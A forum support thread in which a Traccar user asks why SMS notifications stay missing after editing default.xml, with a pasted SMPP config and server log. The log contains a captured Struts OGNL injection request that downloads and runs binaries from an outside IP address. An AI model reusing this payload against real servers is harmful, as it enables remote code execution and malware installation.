SMS Notification not Enabled After Editing default.xml

Zuo Bruno5 years ago

So I figured out after reading that SMS might not be available on notification by default, so I edited default.xml as below

<entry key='notificator.types'>web,mail,sms</entry>
    <entry key='sms.enable'>true</entry>

    <entry key='sms.smpp.host'>smpp host</entry>
    <entry key='sms.smpp.port'>smpp port</entry>
    <entry key='sms.smpp.username'>username</entry>
    <entry key='sms.smpp.password'>password123</entry>
    <entry key='sms.smpp.notificationsCharset'>GSM</entry>
    <entry key='sms.smpp.notificationsDataCoding'>0</entry>
    <entry key='sms.smpp.sourceAddress'>+51771000201</entry>

After this I saved the file and visit the UI, still could not find SMS listed, the I remembered I might have to minify.sh something and then remember again it was what I did last time and erased all my system. so Please, is there something I nee to do that i am not doing?

Turbovix5 years ago

Have you enabled the desired "email/web/mobile/sms" notifications in the web interface?

Zuo Bruno5 years ago

Hello @Turbovix i cannot even find SMS in web interface, I can see Mail and Web but nothing else

Turbovix5 years ago

Bruno, can you post the information regarding the doubt contained in the log?

Zuo Bruno5 years ago

Hello @Turbovix, Here is my log file

FINEST|6441/0|Service traccar|18-11-18 12:30:49|[qtp1813531981-30810] WARN org.eclipse.jetty.server.HttpChannel - Failed UTF-8 decode for request path, trying ISO-8859-1
FINEST|6441/0|Service traccar|18-11-18 12:30:49|[qtp1813531981-30810] WARN org.eclipse.jetty.http.HttpParser - badMessage: java.lang.NumberFormatException: %2 for HttpChannelOverHttp@6fce9332{r=0,c=false,a=IDLE,uri=/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27nohup%20uname%20--m%7Cgrep%20x86_64%20%3E%3E%20/dev/null%20%7C%7C%20(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.158.225/d/ft32%20&&%20chmod%20777%20.loop%20&&%20./.loop)&&(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.158.225/d/ft64%20&&%20chmod%20777%20.loop%20&&%20./.loop)%20%26%%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action}
FINEST|6441/0|Service traccar|18-11-18 15:23:39|[Fatal Error] :1:1: Premature end of file.